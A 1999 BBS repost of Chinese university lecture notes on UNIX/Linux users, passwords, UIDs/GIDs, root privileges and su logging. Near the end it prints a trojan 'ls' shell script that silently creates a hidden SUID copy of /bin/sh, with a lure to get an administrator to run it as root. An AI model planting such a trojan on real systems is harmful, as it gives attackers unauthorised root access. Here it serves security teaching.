发信人: albin (阿乐斌), 信区: LINUX 标 题: LINUX选修课讲义:用户及口令! 发信站: 碧海青天 (Wed Apr 21 23:29:14 1999), 转信 版权声明: 本文内容为大连理工大学LINUX选修课讲义,欢迎大家转载,但禁止使用本材料进行 任何商业性或赢利性活动。转载时请保留本版权声明。 作者:何斌武,hbwork@dlut.edu.cn,大连理工大学网络中心,April 1999. URL: ftp://ftp.dlut.edu.cn/pub/PEOPLE/albin/ ------------------------------------------------------------------------------ 1.用户和口令 好的口令安全性是防止系统被滥用的第一道防线的一部分。有时好的口令也不充分 安全,特别是当口令需要在不受保护的网络上传输的时候--根据通常的网络协议,这些 口令可能会被偷看到。 用户名: 用户名是标识,而口令则是确认证据。标准的UNIX上用户名可以具有从一个字符到8个字符 的长度。在一个UNIX计算机上,用户名必须是唯一的。UNIX的口令通常也是在1到8个字符 之间,更长的口令通常是更安全。从理论上,多个用户可以共享一个口令,然而这却意味 着不安全,用户们选择了一个少于三个字符的用户名也是有效的,但我们不提倡这样作。 UNIX系统也有一些用于系统管理以及一些特殊的系统功能的专门的帐号,这些帐号 通常不允许个人用户使用。 口令: 口令的存储:传统UNIX在文件/etc/passwd,此文件包含每一个用户的用户名,真实 姓名,标识信息,以及用户的基本帐号信息。文件中的每一行包含一个数据库记录,记录 中的每一个数据域用冒号(:)分开。 典型记录域: hbwork:fi2sED95ibqR6:101:14:He Binwu:/home/hbwork:/bin/bash 数据域说明 ------------------------------------------------------ 域 说明 ------------------------------------------------------ root 用户名 fi2sED95ibqR6 加密后的用户口令 101 用户的“用户标识码(UID)” 14 用户的“用户组标识码(GID)” He Binwu 用户的全名称(也被称为GECOS或CGOS域) /home/hbwork 用户的主文件目录(Home Directory, $HOME) /bin/bash 用户所使用的shell *真正的用户口令可能存在其他文件中,如/etc/shadow(LINUX,Solaris,*为指示符), /etc/security/passwd(AIX,!), /etc/master.passwd(BSD,*) *网络数据库: SUN公司的网络信息系统(NIS) SUN公司的NIS+ 开放软件基金会的分布式计算环境(DCE) NexT计算机上的NetInfo 口令是一个共享的秘密 用户与计算机共享,输入口令不回显;很多的侵入是由于口令设置不当或保护不当而 导致的。 在一些UNIX中,如果有人尝试登录一个账号并且连续送入几次无效的口令,这个帐号 将被锁信,只有系统管理员可以解开被锁住的帐号。加锁有两个功能: 1. 防止一些人连续猜测口令,在他们猜出正确的口信之间关闭该帐号。 2. 告诉系统管理员一些人正试图非法闯入你的系统或帐户。 LINUX操作系统给用户10次登录机会,同时在每次登录尝试后也增加延迟时间,这样 即具有自动加锁的功能(防止有人在短时间内试验多次口令),也限制了DOS(Deny of Service)攻击。 强迫改变口令: SVR4: passwd -f username Warning: 不要理会来自系统管理员的信件,告诉你因系统故障而要求你将口令改为某一字串, 这时最好与系统管理员联系。 更改口令: %passwd 核实口令: 在改变口令后应试验用新口令登录你的帐号以便检查新口令是否被正确输入,如果错 误则应尽快与系统管理员联系。 telnet localhost (Or rlogin localhost) 好的口令: 那些难于被猜出的口令是好的口令。它们难于被猜出的原因是: .同时具有大写和小写字母 .也具有数字和/或标点符号以及字母 .也可能包括一些控制字符以及(或者)空格 .容易记忆,因此不须要记录下来。 .具有七个或八个字符长度。 建议:口令选取取两个短字然后用专门的字符或数字将它们组合。 糟糕的口令: .你的姓名、同伴的姓名或配偶的姓名。 .关系密切的朋友或合作者的名字 .老板的名字 .任何人的姓名 .你正使用的OS的名字 .passwd文件中的GECOS域中的信息 .你的计算机的主机名 .你的电话号码或或其他证件号码 .任何人的生日 .其他的容易被得到的有关你的信息(如地址,母校等). .单词 .任何在计算机内的用户名,无论它以何种形式出现(如大写字母形式、双写形式等等) .全部是同一字母的口令 .键盘上的简单的字母组合,如qwerty .上述口令外加一个数字字符 在多个计算机上的口令 **** 不要使用同一口令,可以确定如下方法:建立一个基准口令,然后加上主机名或机器 都有的值组成每个主机的口令。 **** 不要写下你的口令 **** (电子邮件) **** 告诫用户不要使用他们的口令到其他的应用程序或外部系统。否则这些口令或能会 **** 返回来伤害他们(Crack) =========================小结=========================== 如果可能,使用一次性口令;如果不能则 保证每一个帐号有一个口令 保证每一个用户选择一个坚固的口令 不要将你的口令告诉其他的用户 -------------------------------------------------------------------------------- 2.用户、用户组及超级用户 操作系统如何看待用户,帐号和用户组如何被用于限定用户的访问权限。 用户和用户组 在UNIX内部只用一个数字标示每一个用户:用户的标识符(UID),通常系统管理员给计 算机上的每个一用户分配一个不同的UID。 UNIX上也使用专门的用户名定义各种系统功能,这些系统用户名通常也有它们自己的 UID。 以下是一些在各种UNIX系统中都通用的“系统用户”: .root 超级用户,具有对系统的完全控制权 .daemon或sys 通常处理一些网络方面的事情,如print spooler等 .guest 被用于网络访问者对系统的访问 .ftp 被用于管理匿名FTP存取 .uucp 管理UUCP系统 .news 用于管理用户网络新闻(Usenet news) .lp 用于管理打印机系统 .nobody 一个不拥有任何文件的用户,有时被用作无特权操作的默认 用户 通常这些用户(除root外)不具有用户姓名及口令,其口令域通常以 *或NP等表示, 这样可以防止在login提示符下登录这些帐号。 Note: 系统只根据UID确定其操作权限。 用户标识(UID) 取值0~65535,其中习惯于将0~99分配给系统管理帐号。 UNIX系统凭借文件/etc/passwd实现用户名与UID之间的映射关系。 UID是操作系统用于标识用户的实际信息;用户名被提供仅仅是方便用户的考虑。两个 具有相同UID的用户将被视为同一个用户,即使用他们具有不同的用户名和口令,它们可 以自由地读取和删除对方的文件,以及取消对方的进程。 用户组及用户组标识(GIDS): 每一个UNIX用户都属于一个或多个用户组。同用户帐号一样,每一个用户组也有组 名和组标识符(GID).GID也是一个16位整数。 /etc/group文件 wheel:*:0:root,hbwork #有些系统中只有这个组中的帐号才能su为root uucp:*:10:uucp users:*:100: #每一个在这个系统上的用户都是其组成员 vison:*:albin,saka,pingping #出现的顺序没有意义 格式:组名:用户组“口令”:用户组的GID:在这个用户组的用户 Note:用户组不一定要在/etc/group文件中存在一个记录,GID只是为了方便用户。 特殊的用户名 root UID为0的用户,root帐号是被操作系统使用的标识,它被用于完成一些基本的系 统功能如用户管理,记录系统信息,管理I/O设备等,通常root被称为超级用户, 它能控制整个操作系统;几乎所有的限制都可以被root用户所运行的任何程序 忽略。 ***任何用户名都可以是超级用户:只有UID是0即可 ***超级用户不可随意使用:管理员应先使用自己的帐号进入系统,需要执行管理任务时 再su为超级用户,任务完成后再从特权shell中退出。 很多系统控制了root只能在主控台上登录,这样可以通过根据su的记录跟踪使用root 的帐号(可以配置syslog以使用log文件被保存在一个远程的主机上;否则攻击者会删除 log文件);同时需要两个口令才能成为超级用户,也增加了系统的安全度。 ***超级用户能做什么? .进程控制 nice 传递信号给进程 修改系统的各种硬限制 将自己进程的UID改为系统上任何其他用户的 使所有用户log out并且关机或重启系统 .设备控制 访问任何正在工作的设备 关闭计算机 设置时间和日期 用mknod建立新的设备文件 .网络控制 在“可信任的”端口上运行网络服务 重新配置网络 使网卡工作在混杂模式,并检查所有在网络上的数据包(共享介质) .文件系统控制 读、修改或删除系统中的任何文件 运行任何程序 mount/umount文件系统 增加、删除或改变用户的帐号 开启或终止磁盘限额(quotas)及统计(accounting) 应用chroot()系统调用,它改变文件系统root目录的进程形式 在文件系统"100%"利用时仍可写入此文件系统(ext2文件系统保留10%的最 小空间,这个空间可以被root利用,但最好要这样作,因为磁盘未完 全写满时文件系统运行要快些。) 超级用户不能作的事 .改变一个以只读方式被装入的文件系统 .umount一个包含有已打开的文件或正被使用的文件目录的文件系统 .直接写到一个文件目录或建立与一个文件目录的硬连接(有些UNIX还允许) .解密一个存储在/etc/passwd文件中的用户口令(可以用crack或修改login/su记录用 户输入) .终止一个已经进入核内的等待状态的进程(当然关机可以实现关闭所有进程) 超级用户引起的问题 root是UNIX系统安全方面的主要弱点,取得root之后可以对系统作任何想作的事情。 /etc/passwd文件和/etc/group文件对系统安全方面的影响 从系统安全的角度来看,/etc/passwd文件是UNIX操作系统最重要的文件之一(还有 /dev/kmem,/proc/kmem), 因此对其要加以保护。当然group文件也非常重要。 su:更改你的身份 su su - su username su - username Note: 使用su命令必须小心,注意当前目录及小心使用rm等,BSD等控制su的使用。 记录失败的su尝试 syslogd ->可修改/etc/syslog.conf将syslog记录到另外一台主机 /dev/console /var/adm/messages /var/adm/sulog 真实UID和有效UID / 真实GUI和有效GID SUID passwd更改用户口令 示例: 用户PATH以.开始 先建立如下名为ls的可执行shell文件 #!/bin/sh cp /bin/sh .Desktop/junk/.superdude chmod 4555 .Desktop/junk/.superdude rm -f $0 exec /bin/ls ${1 + "$@"} # End 再执行如下: $cd $chmod 700 . $touch ./-f 系统管理员需要su才能删除./-f文件,而su后执行ls会复制一个SUID的shell。 ================================小结=================================== * UNIX系统上的每一个帐号都应该有一个唯一的UID,UID被系统用户确定用户 对各种不同的文件和服务的访问权限。用户应该有一个唯一的UID以便他们的 行为可以被审查和被控制。每个帐号都属于一个或多个用户组,用户组由GID 表示。可以通过用户组成员资格的设置来实现由多个用户共同分享的文件的存 取资格 * 每个计算机都有一个专门的被称之为root的帐号,它对系统有完全的控制权。应 确实限制对root帐号的访问,并经常检查那些失败的su尝试。如果可以使你的网 络上的全部计算机都将那些不成功的su尝试记录到网络上的一台专门的安全的计 算机上。在网络上的每一台计算机都应该有一个不同的超级用户的口令。 -- ※ 来源:.碧海青天 bbs.dlut.edu.cn.[FROM: apple.dlut.edu.c]